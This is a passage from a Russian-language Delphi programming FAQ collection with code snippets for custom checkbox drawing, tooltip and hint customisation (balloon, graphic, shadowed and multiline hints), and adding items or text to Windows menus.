        begin
      {Right-top to left-bottom}
          Canvas.MoveTo(fBoxLeft + fRBoxWidth - 5, fBoxTop + 3);
          Canvas.LineTo(fBoxLeft + 2, fBoxTop + fRBoxHeight - 4);
          Canvas.MoveTo(fBoxLeft + fRBoxWidth - 4, fBoxTop + 3);
          Canvas.LineTo(fBoxLeft + 2, fBoxTop + fRBoxHeight - 3);
          Canvas.MoveTo(fBoxLeft + fRBoxWidth - 4, fBoxTop + 4);
          Canvas.LineTo(fBoxLeft + 3, fBoxTop + fRBoxHeight - 3);
      {Left-top to right-bottom}
          Canvas.MoveTo(fBoxLeft + 3, fBoxTop + 4);
          Canvas.LineTo(fBoxLeft + fRBoxWidth - 4,
            fBoxTop + fRBoxHeight - 3);
          Canvas.MoveTo(fBoxLeft + 3, fBoxTop + 3);
          Canvas.LineTo(fBoxLeft + fRBoxWidth - 3,
            fBoxTop + fRBoxHeight - 3); //mid
          Canvas.MoveTo(fBoxLeft + 4, fBoxTop + 3);
          Canvas.LineTo(fBoxLeft + fRBoxWidth - 3,
            fBoxTop + fRBoxHeight - 4);
        end;

   // Рисуем галочку
      if fType = cbMark then
        for I := 0 to 2 do
          begin
         {Left-mid to left-bottom}
            Canvas.MoveTo(fBoxLeft + 3, fBoxTop + 5 + I);
            Canvas.LineTo(fBoxLeft + 6, fBoxTop + 8 + I);
         {Left-bottom to right-top}
            Canvas.MoveTo(fBoxLeft + 6, fBoxTop + 6 + I);
            Canvas.LineTo(fBoxLeft + 10, fBoxTop + 2 + I);
          end;

   // Рисуем бриллиантик
      if fType = cbDiamond then
        begin
          Canvas.Pixels[fBoxLeft + 06, fBoxTop + 03] := clBlack;
          Canvas.Pixels[fBoxLeft + 06, fBoxTop + 09] := clBlack;

          Canvas.MoveTo(fBoxLeft + 05, fBoxTop + 04);
          Canvas.LineTo(fBoxLeft + 08, fBoxTop + 04);

          Canvas.MoveTo(fBoxLeft + 05, fBoxTop + 08);
          Canvas.LineTo(fBoxLeft + 08, fBoxTop + 08);

          Canvas.MoveTo(fBoxLeft + 04, fBoxTop + 05);
          Canvas.LineTo(fBoxLeft + 09, fBoxTop + 05);

          Canvas.MoveTo(fBoxLeft + 04, fBoxTop + 07);
          Canvas.LineTo(fBoxLeft + 09, fBoxTop + 07);

          Canvas.MoveTo(fBoxLeft + 03, fBoxTop + 06);
          Canvas.LineTo(fBoxLeft + 10, fBoxTop + 06); // middle line
        end;
    end;
end;

{-------------------------------------------------------------------}
procedure Register;
begin
  RegisterComponents('Samples', [TCheckBoxX]);
end;
{-------------------------------------------------------------------}

destructor TCheckBoxX.Destroy;

begin
  inherited Destroy;
end;
{-------------------------------------------------------------------}

constructor TCheckBoxX.Create(AOwner: TComponent);

begin
  inherited Create(AOwner);
  Height := 17;
  Width := 97;
  fChecked := False;
  fColor := clBtnFace;
  fState := cbUnChecked;
  fFont := inherited Font;
  fAllowGrayed := False;
  fFocus := False;
  fMouseState := msMouseUp;
  fAlignment := taRightJustify;
  TabStop := True; // Sorry
end;
{-------------------------------------------------------------------}
end.
{===================================================================}

Взято из http://forum.sources.ru


Hints

Cодержание раздела:

Показываем всплывающие подсказки в различных панелях StatusBar
Как поместить иконку в окошко подсказки?
Как заставить появиться окошко подсказки когда курсор мышки находится над определённым контролом?
Хинт любой формы
Как сделать balloon tooltips?
Как сделать графический hint?
Как изменить шрифт hint?
Как получить эффект тени для hint?
Использование обработчика OnHint при наличии нескольких форм
Ярлычки и оперативная подсказка New!
Как делать переносы в Hint New!
Как выводить hint при движении мыши над списком New!
Hint в выпадающем списке ComboBox New!

См. также статьи в других разделах:
Проблема всплывающих подсказок в дочерних MDI-формах
Как отобразить hint в TLabel?
Как сделать различные подсказки для каждой ячейки в StringGrid?
Как заставить появиться окошко подсказки когда курсор мышки находится над определённым контролом?
Как показать округлённое окошко подсказки в трее в Windows2000?
Настройки всплывающих подсказок в DBNavigator New!


Показываем всплывающие подсказки в различных панелях StatusBar

Данный пример демонстрирует показ всплывающих подсказок для любой панели статусбара. Этот метод отличается от того, который использует событие MouseMove, и запускается только тогда, когда приложению необходимо показать всплывающие подсказки. В то время как при использовании MouseMove метод будет вызываться при каждом попадании курсора мышки на statusbar.

{ Добавьте CommCtrl в uses. }
{ в интерфейсе формы для статусбара }
  private
    procedure AppShowHint(var HintStr: string; var CanShow: boolean;
      var HintInfo: THintInfo);

procedure TForm1.FormCreate(Sender: TObject);
begin
  Application.OnShowHint := AppShowHint;
end;

procedure TForm1.AppShowHint(var HintStr: string; var CanShow: boolean;
var HintInfo: THintInfo);
const
  PanelHints: array [0..6] of string =
    ('Cursor position', 'Ascii char', 'Bookmarks', 'Caps lock',
    'Insert/Overwrite', 'File size', 'File name');
var
  x: integer;
  R: TRect;
begin
  if HintInfo.HintControl = StatusBar1 then
  begin
    for x := 0 to StatusBar1.Panels.Count-1 do
    begin
      SendMessage(StatusBar1.Handle, SB_GETRECT, x, Longint(@R));
      if PtInRect(R, HintInfo.CursorPos) then
      begin
        HintStr := PanelHints[x];
        InflateRect(R, 3, 3);
        { Устанавливаем CursorRect говоря системе проверить новые
        строки с подсказками, когда курсор покинет этот прямоугольник. }
        HintInfo.CursorRect := R;
        break;
      end;
    end;
  end;
end;

Взято из http://forum.sources.ru


Как поместить иконку в окошко подсказки?

Следующий код помещает главную иконку приложения в окошки подсказок:

unit HintX;

interface

uses
  Windows, Messages, Controls;

type
  TIconHintX = class(THintWindow)
  protected
    procedure Paint; override;
  public
    function CalcHintRect(MaxWidth: Integer; const AHint: string; AData: Pointer): TRect; override;
  end;

implementation

uses Forms;

{ TIconHintX }

{-Вычисляем новый размер окошка подсказки для помещения в него иконки:-}
function TIconHintX.CalcHintRect(MaxWidth: Integer; const AHint: string;
  AData: Pointer): TRect;
begin
  Result := inherited CalcHintRect(MaxWidth, AHint, AData);       Result.Right := (Length(AHint) * 5) + Application.Icon.Width;
  Result.Bottom := (Application.Icon.Height) * 2;
end;

procedure TIconHintX.Paint;
const
  MARGIN = 5;
begin
  inherited;
  Canvas.Draw(MARGIN, MARGIN * 5, Application.Icon);
  SendMessage(Handle, WM_NCPAINT, 0, 0); //рисуем рамку окошка подсказки
end;

initialization
  //связываем наш новый класс с классом окошка подсказки установленным поумолчанию:
  HintWindowClass := TIconHintX;

end.

Чтобы увидеть это в действии, всё, что надо сделать, это поместить этот юнит список USES Вашего приложения

Взято из http://forum.sources.ru


Как заставить появиться окошко подсказки когда курсор мышки находится над определённым контролом?

var  hintWnd: THintWindow;

procedure TForm1.ActivateHintNOW( x,y: Integer);
var rect: TRect;
begin
  HintTxt := 'qq';
  if hintTxt <> '' then
  begin
    rect := hintWnd.CalcHintRect( Screen.Width, hinttxt, nil);
    rect.Left := rect.Left + x;
    rect.Right := rect.Right + x;
    rect.Top := rect.Top + y;
    rect.Bottom := rect.Bottom + y;
    hintWnd.ActivateHint( rect, hinttxt);
  end;
end;

Замечание: Не забудьте каждый раз создавать hintWnd:

     hintwnd:= THintWindow.create(self);

а затем освобождать его

    hintwnd.releasehandle;

Взято из http://forum.sources.ru


Хинт любой формы

Borland Delphi 4, Руководство разработчика", К. Пачеко и С.
Тейксер

З.Ы. Пристегните (uses CoolHint) к любой форме с hint'ами и любуйтесь
подсказками.

unit CoolHint

interface

uses Windows, Classes, Controls, Forms, Messages, Graphics
type
TddgHintWindow = class(THintWindow)
private
  FRegion: THandle
  procedure FreeCurrentRegion
public
  destructor Destroy override
  procedure ActivateHint(Rect: TRect const AHint: string);override ;
  procedure Paint; override ;
  procedure CreateParams(var Params: TCreateParams); override ;
end

implementation

destructor TddgHintWindow.Destroy
begin
FreeCurrentRegion;
inherited Destroy;
end

procedure TddgHintWindow.CreateParams(var Params: TCreateParams)
{ We need to remove the border created on the Windows API-level }
{ when the window is created. }
begin
inherited CreateParams(Params) ;
Params.Style := Params.Style and not ws_Border // remove border ;
end;

procedure TddgHintWindow.FreeCurrentRegion
{ Regions, like other API objects, should be freed when you are }
{ through using them. Note, however, that you cannot delete a }
{ region which is currently set in a window, so this method sets }
{ the window region to 0 before deleting the region object. }
begin
if FRegion <>0 then
begin // if Region is alive...
SetWindowRgn(Handle, 0, True) // set win region to 0
DeleteObject(FRegion) // FRegion := 0 // zero out field
end
end

procedure TddgHintWindow.ActivateHint(Rect: TRect const AHint: string);
{ Called when the hint is activated by putting the mouse pointer }
{ above a control. }
begin
with Rect do
Right := Right + Canvas.TextWidth('WWWW') // add some slop
BoundsRect := Rect
FreeCurrentRegion
with BoundsRect do
{ Create a round rectangular region to display the hint window }
FRegion := CreateRoundRectRgn(0, 0, Width, Height, Width, Height)
if FRegion <>0 then
SetWindowRgn(Handle, FRegion, True) // set win region
inherited ActivateHint(Rect, AHint) // call inherited
end
procedure TddgHintWindow.Paint
{ This method gets called by the WM_PAINT handler. It is }
{ responsible for painting the hint window. }
var R: TRect
begin
R := ClientRect // get bounding rectangle
Inc(R.Left, 1) // move left side slightly
Canvas.Font.Color := clInfoText // set to proper color
{ paint string in the center of the round rect }
DrawText(Canvas.Handle, PChar(Caption), Length(Caption), R,
DT_NOPREFIX or DT_WORDBREAK or DT_CENTER or DT_VCENTER)
end

var
OldHintClass: THintWindowClass

function SetNewHintClass(AClass: THintWindowClass): THintWindowClass
var
DoShowHint: Boolean
begin
Result := HintWindowClass // return value is old hint
window
DoShowHint := Application.ShowHint
if DoShowHint then
Application.ShowHint := False // destroy old hint window
HintWindowClass := AClass // assign new hint window
if DoShowHint then
Application.ShowHint := True // create new hint window
end
initialization
OldHintClass := SetNewHintClass(TddgHintWindow)
finalization
SetNewHintClass(OldHintClass)
end.

Взято с сайта http://blackman.wp-club.net/


Как сделать balloon tooltips?

uses
   Commctrl;

procedure ShowBalloonTip(Control: TWinControl; Icon: integer; Title: pchar; Text: PWideChar;
BackCL, TextCL: TColor);
const
  TOOLTIPS_CLASS = 'tooltips_class32';
  TTS_ALWAYSTIP = $01;
  TTS_NOPREFIX = $02;
  TTS_BALLOON = $40;
  TTF_SUBCLASS = $0010;
  TTF_TRANSPARENT = $0100;
  TTF_CENTERTIP = $0002;
  TTM_ADDTOOL = $0400 + 50;
  TTM_SETTITLE = (WM_USER + 32);
  ICC_WIN95_CLASSES = $000000FF;
type
  TOOLINFO = packed record
    cbSize: Integer;
    uFlags: Integer;
    hwnd: THandle;
    uId: Integer;
    rect: TRect;
    hinst: THandle;
    lpszText: PWideChar;
    lParam: Integer;
  end;
var
  hWndTip: THandle;
  ti: TOOLINFO;
  hWnd: THandle;
begin
  hWnd    := Control.Handle;
  hWndTip := CreateWindow(TOOLTIPS_CLASS, nil,
    WS_POPUP or TTS_NOPREFIX or TTS_BALLOON or TTS_ALWAYSTIP,
    0, 0, 0, 0, hWnd, 0, HInstance, nil);
  if hWndTip <> 0 then
  begin
    SetWindowPos(hWndTip, HWND_TOPMOST, 0, 0, 0, 0,
      SWP_NOACTIVATE or SWP_NOMOVE or SWP_NOSIZE);
    ti.cbSize := SizeOf(ti);
    ti.uFlags := TTF_CENTERTIP or TTF_TRANSPARENT or TTF_SUBCLASS;
    ti.hwnd := hWnd;
    ti.lpszText := Text;
    Windows.GetClientRect(hWnd, ti.rect);
    SendMessage(hWndTip, TTM_SETTIPBKCOLOR, BackCL, 0);
    SendMessage(hWndTip, TTM_SETTIPTEXTCOLOR, TextCL, 0);
    SendMessage(hWndTip, TTM_ADDTOOL, 1, Integer(@ti));
    SendMessage(hWndTip, TTM_SETTITLE, Icon mod 4, Integer(Title));
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowBalloonTip(Button1, 1, 'Title',
  'Balloon tooltip,http://kingron.myetang.com; updated by Calin', clBlue, clNavy);
end;

{....}

uses Commctrl;

{....}

const
  TTS_BALLOON    = $40;
  TTM_SETTITLE = (WM_USER + 32);

var
  hTooltip: Cardinal;
  ti: TToolInfo;
  buffer : array[0..255] of char;

{....}

procedure CreateToolTips(hWnd: Cardinal);
begin
  hToolTip := CreateWindowEx(0, 'Tooltips_Class32', nil, TTS_ALWAYSTIP or TTS_BALLOON,
    Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT),
    Integer(CW_USEDEFAULT), hWnd, 0, hInstance, nil);
  if hToolTip <> 0 then
  begin
    SetWindowPos(hToolTip, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE or
      SWP_NOSIZE or SWP_NOACTIVATE);
    ti.cbSize := SizeOf(TToolInfo);
    ti.uFlags := TTF_SUBCLASS;
    ti.hInst  := hInstance;
  end;
end;

procedure AddToolTip(hwnd: DWORD; lpti: PToolInfo; IconType: Integer;
  Text, Title: PChar);
var
  Item: THandle;
  Rect: TRect;
begin
  Item := hWnd;
  if (Item <> 0) and (GetClientRect(Item, Rect)) then
  begin
    lpti.hwnd := Item;
    lpti.Rect := Rect;
    lpti.lpszText := Text;
    SendMessage(hToolTip, TTM_ADDTOOL, 0, Integer(lpti));
    FillChar(buffer, SizeOf(buffer), #0);
    lstrcpy(buffer, Title);
    if (IconType > 3) or (IconType < 0) then IconType := 0;
    SendMessage(hToolTip, TTM_SETTITLE, IconType, Integer(@buffer));
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  CreateToolTips(Form1.Handle);
  AddToolTip(Memo1.Handle, @ti, 1, 'Tooltip text', 'Title');
end;

{
IconType can be:

 0 - No icon
 1 - Information
 2 - Warning
 3 - Error
}

Взято с сайтаhttp://www.swissdelphicenter.ch/en/tipsindex.php


Как сделать графический hint?

{*********************************************************

 With the following Code you can simply create custom hints.
 You just have to change the procedur "Paint".

 *********************************************************}

type
  TGraphicHintWindow = class(THintWindow)
    constructor Create(AOwner: TComponent); override;
  private
    FActivating: Boolean;
  public
    procedure ActivateHint(Rect: TRect; const AHint: string); override;
  protected
    procedure Paint; override;
  published
    property Caption;
  end;

  {...}

constructor TGraphicHintWindow.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  {
   Here you can set custom Font Properties:
   }

  with Canvas.Font do
  begin
    Name := 'Arial';
    Style := Style + [fsBold];
    Color := clBlack;
  end;
end;

procedure TGraphicHintWindow.Paint;
var
  R: TRect;
  bmp: TBitmap;
begin
  R := ClientRect;
  Inc(R.Left, 2);
  Inc(R.Top, 2);

  {*******************************************************
   The folowing Code ist an example how to create a custom
   Hint Object. :
   }

  bmp := TBitmap.Create;
  bmp.LoadfromFile('D:\hint.bmp');

  with Canvas do
  begin
    Brush.Style := bsSolid;
    Brush.Color := clsilver;
    Pen.Color   := clgray;
    Rectangle(0, 0, 18, R.Bottom + 1);
    Draw(2,(R.Bottom div 2) - (bmp.Height div 2), bmp);
  end;

  bmp.Free;
  //Beliebige HintFarbe
  //custom Hint Color
  Color := clWhite;

  Canvas.Brush.Style := bsClear;
  Canvas.TextOut(20, (R.Bottom div 2) - (Canvas.Textheight(Caption) div 2), Caption);
  {********************************************************}
end;

procedure TGraphicHintWindow.ActivateHint(Rect: TRect; const AHint: string);
begin
  FActivating := True;
  try
    Caption := AHint;
    //Hцhe des Hints setzen setzen
    //Set the "Height" Property of the Hint
    Inc(Rect.Bottom, 14);
    //Breite des Hints setzen
    //Set the "Width" Property of the Hint
    Rect.Right := Rect.Right + 20;
    UpdateBoundsRect(Rect);
    if Rect.Top + Height > Screen.DesktopHeight then
      Rect.Top := Screen.DesktopHeight - Height;
    if Rect.Left + Width > Screen.DesktopWidth then
      Rect.Left := Screen.DesktopWidth - Width;
    if Rect.Left < Screen.DesktopLeft then Rect.Left := Screen.DesktopLeft;
    if Rect.Bottom < Screen.DesktopTop then Rect.Bottom := Screen.DesktopTop;
    SetWindowPos(Handle, HWND_TOPMOST, Rect.Left, Rect.Top, Width, Height,
      SWP_SHOWWINDOW or SWP_NOACTIVATE);
    Invalidate;
  finally
    FActivating := False;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  HintWindowClass := TGraphicHintWindow;
  Application.ShowHint := False;
  Application.ShowHint := True;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как изменить шрифт hint?

{
  When the application displays a Help Hint,
  it creates an instance of HintWindowClass to represent
  the window used for displaying the hint.
  Applications can customize this window by creating a
  descendant of THintWindow and assigning it to the
  HintWindowClass variable at application startup.
}

type
  TMyHintWindow = class(THintWindow)
    constructor Create(AOwner: TComponent); override;
  end;

implementation

{....}

constructor TMyHintWindow.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  with Canvas.Font do
  begin
    Name := 'Arial';
    Size := Size + 5;
    Style := [fsBold];
  end;
end;

procedure TForm2.FormCreate(Sender: TObject);
begin
  HintWindowClass := TMyHintWindow;
  Application.ShowHint := False;
  Application.ShowHint := True;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как получить эффект тени для hint?

type
  TXPHintWindow = class(THintWindow)
  protected
    procedure CreateParams(var Params: TCreateParams); override;
    procedure WMNCPaint(var msg: TMessage); message WM_NCPAINT;
  end;

function IsWinXP: Boolean;
begin
  Result := (Win32Platform = VER_PLATFORM_WIN32_NT) and
    (Win32MajorVersion >= 5) and (Win32MinorVersion >= 1);
end;

procedure TXPHintWindow.CreateParams(var Params: TCreateParams);
const
  CS_DROPSHADOW = $00020000;
begin
  inherited;
  if IsWinXP then
    Params.WindowClass.Style := Params.WindowClass.Style or CS_DROPSHADOW;
end;

procedure TXPHintWindow.WMNCPaint(var msg: TMessage);
var
  R: TRect;
  DC: HDC;
begin
  DC := GetWindowDC(Handle);
  try
    R := Rect(0, 0, Width, Height);
    DrawEdge(DC, R, EDGE_ETCHED, BF_RECT or BF_MONO);
  finally
    ReleaseDC(Handle, DC);
  end;
end;

initialization
  HintWindowClass := TXPHintWindow;
  Application.ShowHint := False;
  Application.ShowHint := True;
end.

Взято с сайтаhttp://www.swissdelphicenter.ch/en/tipsindex.php


Использование обработчика OnHint при наличии нескольких форм

В Online Help и в Visual Component Library Reference описан пример обработчика
события OnHint объекта TApplication. Пример показывает, как можно использовать
панель для отображения подсказок (hint), связанных с другими компонентами. В
примере обработчик OnHint устанавливается во время обработки события OnCreate
для формы; в программе, включающей более чем одну форму, будет трудно
использовать эту технику.

Перемещение присваивания обработчика OnHint из события OnCreate формы в
событие OnActivate позволит различным формам данного приложения работать с
подсказками, как им нужно.

Ниже приведен измененный пример из OnLine Help и VCL Reference.

type
  TForm1 = class(TForm)
    Button1: TButton;
    Panel1: TPanel;
    Edit1: TEdit;
    procedure FormActivate(Sender: TObject);
  private
    { Private declarations }
  public
    procedure DisplayHint(Sender: TObject);
  end;

implementation

{$R *.DFM}

procedure TForm1.DisplayHint(Sender: TObject);
begin
  Panel1.Caption := Application.Hint;
end;

procedure TForm1.FormActivate(Sender: TObject);
begin
  Application.OnHint := DisplayHint;
end;

Источник: http://dmitry9.nm.ru/info/


Ярлычки и оперативная подсказка

Ярлычки и оперативная подсказка

С легкой руки Microsoft, признание получили ярлычки с оперативной подсказкой (Hints). Если задержать курсор, например, над кнопкой или компонентом палитры самой среды Delphi, появляется маленький прямоугольник яркого цвета (окно подсказки), в котором одной строкой сказано о названии этого элемента или связанном с ним действии. Delphi поддерживает механизмы создания и отображения таких ярлычков в создаваемых программах.

Свойство, определяющее активность системы подсказки у элемента управления:
property ShowHint: Boolean;

Если свойство ShowHint установлено в True, и во время выполнения курсор задержался над компонентом на некоторое время, в окне подсказки высвечивается текстовая строка с подсказкой:

property Hint: string;

Подсказка компонента может быть пустой строкой — в этом случае система ищет в цепочке первый родительский компонент с непустой подсказкой. Если в строке Hint встречается специальный символ-разделитель '|', то часть строки до него ("короткая") передается в окно подсказки, а после ("длинная") — присваивается свойству Hint объекта Application. Ее можно использовать, например, в строке состояния внизу главной формы приложения (см. пример ниже).
Система оперативных подсказок имеет свойства и методы, общие для всех форм в приложении. Неудивительно, что они сосредоточены в Application — глобальном объекте, соответствующем работающему приложению. Все описанные ниже в этом разделе свойства относятся не к компоненту, показывающему подсказку, а именно к Application.
Цвет окна подсказки можно изменить посредством свойства:

property HintColor: TColor;

У объекта Application значение свойства ShowHint нужно устанавливать во время выполнения, например, в обработчике OnCreate главной формы приложения. Оно является главенствующим для всей системы подсказок: если оно установлено в False, ярлычки не возникают.
Есть еще один способ получения подсказки. При смене текста в свойстве Hint, т. е. при смене текущего элемента управления, у Application возникает событие:

property OnHint: TNotifyEvent;

procedure TFormI.AppHint(Sender: TObject);
begin
  Pane 11.Caption:= Application.Hint ;
end;

procedure TFormI.FormCreate(Sender: TObject);
begin
  Application.OnHint := AppHint;
end;

В этом примере текст подсказки будет отображаться в строке состояния Panel 1 независимо от значения ShowHint у любого объекта — лишь бы этот текст был в наличии. Для этого разделяйте подсказку у элементов управления вашего приложения на две части при помощи символа '|' — краткая информация появится рядом с элементом, а более полная — в строке состояния.
У других компонентов свойство ShowHint интерпретируется системой так:
когда курсор мыши останавливается над элементом управления или пунктом меню, и приложение не занято обработкой сообщения, происходит проверка, и если ShowHint у элемента или у одного из его родительских элементов в иерархии равно True, то запускается специальный таймер на интервал времени HintPause:

property HintPause: Integer;

Интервал времени по умолчанию равен 800 мс. После истечения времени таймера, если мышь осталась над тем же элементом, наступает момент
инициализации окна подсказки. При этом программист может получить управление, предусмотрев обработчик события

property OnShowHint: TShowHintEvent ;
TShowHintEvent = procedure (var HintStr: string; var CanShow:
Boolean; var Hintlnfo: THintInfo) of object;

с параметрами:
HintStr — отображаемый текст;
CanShow — необходимость (возможность) появления подсказки. Если в переменной CanShow обработчик вернет False, то окно подсказки высвечиваться не будет;
Hintlnfo — структура, несущая всю информацию о том, какой элемент управления, где и как собирается показать подсказку. Ее тип:

THintInfo = record
  HintControl: TControl;
  HintPos: TPoint;
  HintMaxWidth: Integer;
  HintColor: TColor;
  CursorRect: TRect;
  CursorPos: TPoint;
end;

Для показа окна подсказки необходимо еще, чтобы у элемента управления или у его предков в цепочке строка Hint была непустой. Впрочем, это можно исправить в обработчике OnShowHint, пример:

procedure TFormI.AppShowHint(var HintStr: string; var CanShow:
Boolean; var Hintlnfo: THintInfo);
begin
  if HintStr='' then
    begin
      HintStr := Hintlnfo.HintControl.Name;
      Hintlnfo.HintColor := ciRed;
      CanShow := True ;
    end;
end;

Присвоив этот метод обработчику Application.OnShowHint, установив Forml.ShowHint:=True и очистив все строки Hint, получим в качестве подсказки имя каждого элемента.
"Спрятать" окно подсказки можно с помощью метода:
procedure CancelHint;
Без повторного перемещения мыши на текущий элемент оно более не возникнет.


Как делать переносы в Hint

Если подсказка длинная, то удобно ее разместить в две или более строк.

procedure TForm1.FormCreate(Sender: TObject);
begin
  Button1.Hint := 'Only one string';
  Button2.Hint := 'There will be' + #13#10 + 'two strings';
  Form1.ShowHint := true;
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Как выводить hint при движении мыши над списком

В Windows, в частности в Delphi, используются Hint для полного отображения не умещающихся строк. Достаточно к такой строке поднести мышь, и всплывает подсказка с полным текстом на том же месте. Как это реализовать показано ниже.

...
public
  HintRow: Integer;
  HintString: String;
  procedure OnShowHint(var HintStr: string;
    var CanShow: Boolean; var HintInfo: THintInfo);
...
procedure TForm1.FormCreate(Sender: TObject);
begin
  Application.HintPause := 100;
  Application.HintHidePause := 30000;

  ListBox1.Items.Add('It is a long row');
  ListBox1.Items.Add('It is a very long row');
  ListBox1.Items.Add('And it is a very very long row');

  ListBox1.Items.Add('But this row if longer then other rows');
  ListBox1.Items.Add('It was not truth, because this row is so long, that I do not know, what' + #13#10 +
    'will do the program with this row. Do You know it? I think that it will be' + #13#10 +
    'very interesting to look at this row. But if it will be longer and longer,' + #13#10 +
    'what will be? Look!!!');
  ListBox1.Items.Add('Short row');
  ListBox1.Items.Add('123');

  HintRow := -1;
  Application.OnShowHint := OnShowHint;

  ListBox1.ShowHint := true;
end;

procedure TForm1.ListBox1MouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);
var
  ItemNum: Integer;
begin
  ItemNum := ListBox1.ItemAtPos(Point(X, Y), True);
  if (ItemNum <> HintRow) then begin
    HintRow := ItemNum;
    Application.CancelHint;
    if HintRow > -1 then begin
      HintString := ListBox1.Items[ItemNum];
      if (ListBox1.Canvas.TextWidth(HintString) <= ListBox1.ClientWidth)

        then HintString := '';
    end else HintString := '';
  end;
end;

procedure TForm1.OnShowHint(var HintStr: string;
  var CanShow: Boolean; var HintInfo: THintInfo);
begin
  if not (HintInfo.HintControl is TListBox) then Exit;
  with HintInfo.HintControl as TListBox do begin
    HintInfo.HintPos := ListBox1.ClientToScreen(Point(-1,

      ListBox1.ItemRect(HintRow).Top - 3));
    HintStr := HintString;
  end;
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Hint в выпадающем списке ComboBox

В практике программирования довольно часто встречается ситуация когда информация, предназначенная для отображения в имеющемся компоненте, не помещается по длине. С подобным обычно сталкиваются в работе с базами данных. В таких случая выручают всплывающие подсказки – Hint. Но, в некоторых случаях, даже такая возможность не спасает. К таким ситуациям можно отнести работу с выпадающим списком в DBComboBox. Представьте, что размер поля увеличился, а изменить ширину DBComboBox на форме, по тем или иным причинам, нет возможности. Конечно, можно увеличить ширину выпадающего списка. Но выглядит это не всегда красиво да и не делает чести разработчику. Предлагаемая идея позволит создать более изящный компонент. Взгляните на рисунок:

В демонстрационном примере в выпадающем списке появляется всплывающая подсказка для строки не помещающейся по длине.

При работе с Hint нужно помнить – использовать ToolTip из API, бесполезная затея. Delphi игнорирует любые попытки работы ним. Для этих целей в Delphi предусмотрен класс – THintWindow.

В своем компоненте объявите FTipHint:

type
TVSComboBox = class(TCustomComboBox)
…
private
FHint: THintWindow;
…
protected
procedure WMCTLCOLORLISTBOX(var Message: TMessage);
message WM_CTLCOLORLISTBOX;

и не забудьте выполнить инициализацию в конструкторе вашего компонента:

begin
inherited Create(AOwner);
FHint := THintWindow.Create(Self);

Чтобы получить информацию об активной строке в выпадающем списке ComboBox перехватите сообщение WM_CTLCOLORLISTBOX. В процедуре сообщения анализируйте - если длина строки больше ширины выпадающего списка – передайте "длинную" строку в ваш Hint и активируйте его:

FHint.ActivateHint(TextRC, Items[ItemIndex]);

где
TextRC – прямоугольник для строки подсказки
Items[ItemIndex] – "длинная" строка из выпадающего списка

Если активная строка в выпадающем списке "короткая" – спрячьте Hint:

FHint.ReleaseHandle;

Для получения подробной информации о классе THintWindow воспользуйтесь Help из Delphi.


Menu

Cодержание раздела:

Добавляем пункты в системное меню Windows
Пишем свой текст в Меню
Как сделать пункты меню с картинками?
Как поместить маленькие битмапы в TPopUpMenu?
Более быстрый способ добавлять пункты меню
Как программно заставить выпасть меню?
Как узнать о нажатии non-menu клавиши в момент когда меню показано?
Как сделать меню как в Дельфи?
Как поместить TMenuItem справа у формы?
Как рисовать картинки в пунктах меню?
Как узнать статус меню? New!
Элементы меню на основе изображений New!
Иконки в PopupMenu New!
Как показать подсказки Hints для элементов меню New!
Как добавить пункт меню? New!

См. также статьи в других разделах:
Virtual ListView с контекстным меню
Как зарегистрировать свой пункт в меню для моего типа файлов?
Как сделать Pop-Up меню при щелчке иконке в Sys tray?
Как закрыть всплывающее меню в System Tray когда оно теряет фокус?
Как открыть меню кнопки Пуск?
Работа с System Menu


Добавляем пункты в системное меню Windows

Автор: MAD Rodrguez

Вы, наверное, задавались вопросом, почему системное меню постоянно одно и тоже ? Пример показывает, как добавить туда такие пункты как "About" или "Information", или что-нибудь ещё.

Нам понадобится две вещи, первая это Item ID, который может быть любым целым числом. Второе это Описание(Caption) для нашего пункта меню. Нам понадобится также процедура, которая будет принимать сообщения Window для определения нажатия на наш пункт меню.

Unit OhYeah;

Interface

Uses SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, Menus;

Type
   TForm1 = Class (TForm)
     Procedure FormCreate (Sender : TObject);
     Private {Private declarations}
     Public  {Public declarations}
     Procedure WinMsg (Var Msg : TMsg; Var Handled : Boolean);
     Procedure DoWhatEever;
  End;

Var Form1 : TForm1;

Implementation
{$R *.DFM}

Const ItemID = 99; // ID номер для пункта меню. Может быть любым

Procedure Tform1.WinMsg (Var Msg : TMsg; Var Handled : Boolean);
Begin
     If Msg.Message = WM_SYSCOMMAND Then
        If Msg.WParam = ItemID Then DoWhatEver;
End;

Procedure TForm1.FormCreate (Sender : TObject);
Begin
     Application.OnMessage := WinMsg;
     AppendMenu (GetSystemMenu (Form1.Handle, False), MF_SEPARATOR, 0, '');
     AppendMenu (GetSystemMenu (Form1.Handle, False), MF_BYPOSITION, ItemID, '&My menu');
     AppendMenu (GetSystemMenu (Application.Handle, False), MF_SEPARATOR, 0, '');
     AppendMenu (GetSystemMenu (Application.Handle, False), MF_BYPOSITION, ItemID,'&My menu minimized');
End;

Procedure TForm1.DoWhatEver;
Begin
  Exit;    // Вы можете добавить здесь всё, что угодно
End;

End.

Взято из http://forum.sources.ru


Пишем свой текст в Меню

Автор: Ido Kanner

Когда играешь во встроенную в Windows игру freecell, то справа в меню постоянно пишется сколько осталось карт. Давайте посмотрим, как это делается.

Перво наперво положим компонент главного меню на форму.
Теперь установим свойство OwnerDraw в true.

Далее создайте, то что Вы хотите вырисовывать в меню и создайте OnDrawItem.
И добавьте в него следующую строку:

...
ACanvas.TextOut(1,ARect.Top+1,'I am in the MainMenuDrawbar');
...

Не забудьте, если Вы используете изменяющуюся переменную, то измените её в другой функции и всё что надо будет сделать - это вызвать API функцию DrawMenuBar.

Если Вы используете Delphi 2,3 пользуйтесь сообщениями WM_MESUREITEM и WM_DRAWITEM, чтобы сделать данный эффект.

Взято из http://forum.sources.ru


